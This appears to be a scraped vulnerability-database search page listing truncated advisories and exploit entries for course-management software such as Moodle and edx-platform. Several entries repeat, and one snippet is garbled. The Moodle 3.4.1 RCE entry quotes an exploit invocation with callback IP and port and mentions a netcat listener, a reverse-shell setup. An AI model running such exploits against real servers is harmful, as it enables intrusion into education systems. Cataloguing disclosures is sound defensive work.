Online Course Registration 2.0 Remote Code Execution

Exploit Title: Online Course Registration 2.0 - Remote Code Execution Exploit Author: Metin Yunus Kandemir Vendor Homepage: https://phpgurukul.com/ Software Link: https://phpgurukul.com/online-course-registration-free-download/ Version: v2.0 Category: Webapps Tested on: Xampp for Windows...

Design/Logic Flaw

Moodle before 2.2.2: Course information leak via hidden courses being displayed in tag search results...

CVE-2012-1161

Moodle before 2.2.2: Course information leak via hidden courses being displayed in tag search results...

CVE-2012-1156

Moodle before 2.2.2 has users' private files included in course backups...

Design/Logic Flaw

Moodle before 2.2.2 has users' private files included in course backups...

CVE-2012-1156

Moodle before 2.2.2 has users' private files included in course backups...

XSS Vulnerability in ED01-CMS

ED01-CMS is a content management system and the CMS project of Edwin Diaz's Udemy course "PHP for Beginners - Become a PHP Master". An XSS vulnerability exists in the ED01-CMS content management system, which can be exploited by attackers to obtain sensitive information such as cookies...

Unauthorized Access Vulnerability in Course Center of Excellence

Premier Education is an educational organization that provides one-on-one tuition for primary and secondary school students and has tutorial classes in several subjects. An unauthorized access vulnerability exists in the Excellence Course Center, which can be exploited to gain unauthorized access...

PT-2020-14896 · Moodle +1 · Moodle +1

Name of the Vulnerable Software and Affected Versions: Moodle versions prior to 3.7.2 Description: The issue concerns information exposure of service tokens for users enrolled in the same course. Recommendations: For versions prior to 3.7.2, update to version 3.7.2 or later to resolve the issue...

Unauthorized Access Vulnerability in Course Center of Excellence System

Shanghai Excellence Ruixin Digital Technology Co., Ltd, inherited from the Excellence Electronics Group, is committed to becoming China's leading education informatization manufacturer and Internet education operator, providing education informatization products and total solutions for more than...

CVE-2015-5601

edx-platform before 2015-07-20 allows code execution by privileged users because the course import endpoint mishandles .tar.gz files...

Code injection

edx-platform before 2015-07-20 allows code execution by privileged users because the course import endpoint mishandles .tar.gz files...

CVE-2015-5601

CVE-2015-5601 affects edx-platform prior to 2015-07-20. A vulnerable endpoint (course import) mishandles .tar.gz files, allowing code execution by privileged users. Documents provide CVSS details (2.0/6.5; 3.0/8.8) indicating impact on confidentiality, integrity, and availability (all high/partia...

Countdown to Black Hat: Top 10 Sessions to Attend — #5

Black Hat USA 2019, which is only one month away, offers scores of training courses and research briefings, so every week we’re picking a session we believe Qualys customers will find valuable. This week’s selection is the training course Adversary Tactics -- Detection. This course focuses on...

Fedora Update for moodle FEDORA-2018-6a4a3b78fd

The remote host is missing an update for the Copyright C 2019 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

Fedora Update for moodle FEDORA-2019-d8ec88b21e

The remote host is missing an update for the Copyright C 2019 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

SQL Injection Vulnerability in Zhirui School Course Selection System

Zhirui school course selection system positioning school education development system, specialized for secondary schools, colleges and universities students online course selection, results query system, for the integrated campus information system. Zhirui School Selection System suffers from SQL...

SQL Injection Vulnerability in Zhirui School Course Selection System

Zhirui school course selection system positioning school education development system, specialized for secondary schools, colleges and universities students online course selection, results query system, for the integrated campus information system. Zhirui School Selection System suffers from SQL...

Moodle 3.4.1 - Remote Code Execution

php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1 user The account username pass The password to the account ip Callback IP port Callback Port course Valid course ID belonging to the teacher Make sure you're running a netcat listener on the...

[SECURITY] Fedora 29 Update: moodle-3.5.4-1.fc29

Moodle is a course management system CMS - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities...